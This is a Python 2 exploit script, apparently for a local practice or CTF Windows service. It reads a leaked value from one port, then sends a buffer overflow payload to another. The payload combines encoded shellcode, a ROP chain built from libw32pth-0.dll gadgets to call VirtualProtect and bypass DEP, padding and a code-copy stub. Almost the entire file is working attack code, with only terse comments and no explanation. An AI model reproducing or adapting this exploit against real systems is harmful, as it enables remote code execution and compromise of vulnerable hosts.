import socket
import struct
import random, string
import time

def randomword(length):
    return ''.join(random.choice(string.letters) for i in range(length))

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 8888))
sock.send(struct.pack('<I', 0x41424344))
a=sock.recv(100)
print a


#choreado de GUS DS
shellcode = "\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1" \
            "\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" \
            "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" \
            "\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1" \
            "\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3" \
            "\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6" \
            "\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc" \
            "\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f" \
            "\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c" \
            "\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12" \
            "\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40" \
            "\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f" \
            "\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78" \
            "\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5" \
            "\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92" \
            "\xb8\x7f"


time.sleep(5)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 7676))



a=sock.recv(512)
print a
a.find("is ")

number =int( a[(a.find("is ")+3):(a.find("."))])

print "NUMBER",number
number_xor= 0x89765432 ^ number

           # Register setup for VirtualProtect() :
           # --------------------------------------------
           #  EAX = NOP (0x90909090)
           #  ECX = lpOldProtect (ptr to W address)
           #  EDX = NewProtect (0x40)
           #  EBX = dwSize
           #  ESP = lPAddress (automatic)
           #  EBP = ReturnTo (ptr to jmp esp)
           #  ESI = ptr to VirtualProtect()
           #  EDI = ROP NOP (RETN)

rop_chain=""

# Generated by IDA Sploiter
rop_chain += struct.pack('<I', 0x63ac8f97)  # POP EAX # POP ECX # RETN [libw32pth-0.dll]
rop_chain += struct.pack('<I', 0x63ACFFD1)  # writable
rop_chain += struct.pack('<I', 0x63ACFFD1) # writable

rop_chain += struct.pack('<I', 0x63AC8C1F) # pop esi # retn
rop_chain += struct.pack('<I', 0x0)        # zero
rop_chain += struct.pack('<I', 0x63AC7FF0) # pop ebx
rop_chain += struct.pack('<I', 0x00000000) # size
rop_chain += struct.pack('<I', 0x63AC84D8) # pop ebp-ret
rop_chain += struct.pack('<I', 0x63ACF2A8+0x48) # # ptr to &VirtualProtect()

rop_chain += struct.pack('<I', 0x63AC8B20) # add esi, [ebp+ebx*2-48h] # add [eax], eax # add [eax],al # add esp, 1Ch # retn
rop_chain += struct.pack('<I', 0x63ac8e99)  # RETN (ROP NOP) [libw32pth-0.dll]
rop_chain += struct.pack('<I', 0x63ac8e99)  # RETN (ROP NOP) [libw32pth-0.dll]
rop_chain += struct.pack('<I', 0x63ac8e99)  # RETN (ROP NOP) [libw32pth-0.dll]
rop_chain += struct.pack('<I', 0x63ac8e99)  # RETN (ROP NOP) [libw32pth-0.dll]
rop_chain += struct.pack('<I', 0x63ac8e99)  # RETN (ROP NOP) [libw32pth-0.dll]
rop_chain += struct.pack('<I', 0x63ac8e99)  # RETN (ROP NOP) [libw32pth-0.dll]
rop_chain += struct.pack('<I', 0x63ac8e99)  # RETN (ROP NOP) [libw32pth-0.dll]

rop_chain += struct.pack('<I', 0x63AC8FB4) # mov edx, [esp+8] # mov ecx, [esp+4] # lock cmpxchg [ecx], edx # retn
rop_chain += struct.pack('<I', 0x63AC53EE) # pop pop ret para saltear sin tocar ESI ni EDX
rop_chain += struct.pack('<I', 0x63ACFFD1) # writable
rop_chain += struct.pack('<I', 0x00000040) # a edx

rop_chain += struct.pack('<I', 0x63AC84D8) # pop ebp-ret
rop_chain += struct.pack('<I', 0x63AC6EF8) # jmp esp
rop_chain += struct.pack('<I', 0x63AC7FF0) # pop ebx
rop_chain += struct.pack('<I', 0x00000202) # size
rop_chain += struct.pack('<I', 0x63ac8e98)  # POP EDI # RETN [libw32pth-0.dll]
rop_chain += struct.pack('<I', 0x63ac8e99)  # RETN (ROP NOP) [libw32pth-0.dll]

rop_chain += struct.pack('<I', 0x63ac8f97)  # POP EAX # POP ECX # RETN [libw32pth-0.dll]
rop_chain += struct.pack('<I', 0x90909090)  # nop
rop_chain += struct.pack('<I', 0x63ACFFD1) # writable
rop_chain += struct.pack('<I', 0x63ac8c26)  # PUSHAD # RETN [libw32pth-0.dll]


fruta2= 20* "A" + "\x8B\xF4\x81\xEE\x40\x13\x00\x00"+"\x8B\xFC\x83\xC7\x30\xB9\xE3\x00\x00\x00\xF3\xA4" + "A"*20


fruta= struct.pack("<L",0x0) + struct.pack("<L",0xffffffff)\
       + struct.pack("<L",0x13e0)+ struct.pack("<L",number_xor)\
       + shellcode + (4800-16-len(shellcode)) * "A" + 24 * "B" + rop_chain + fruta2




sock.send(fruta)
sock.close()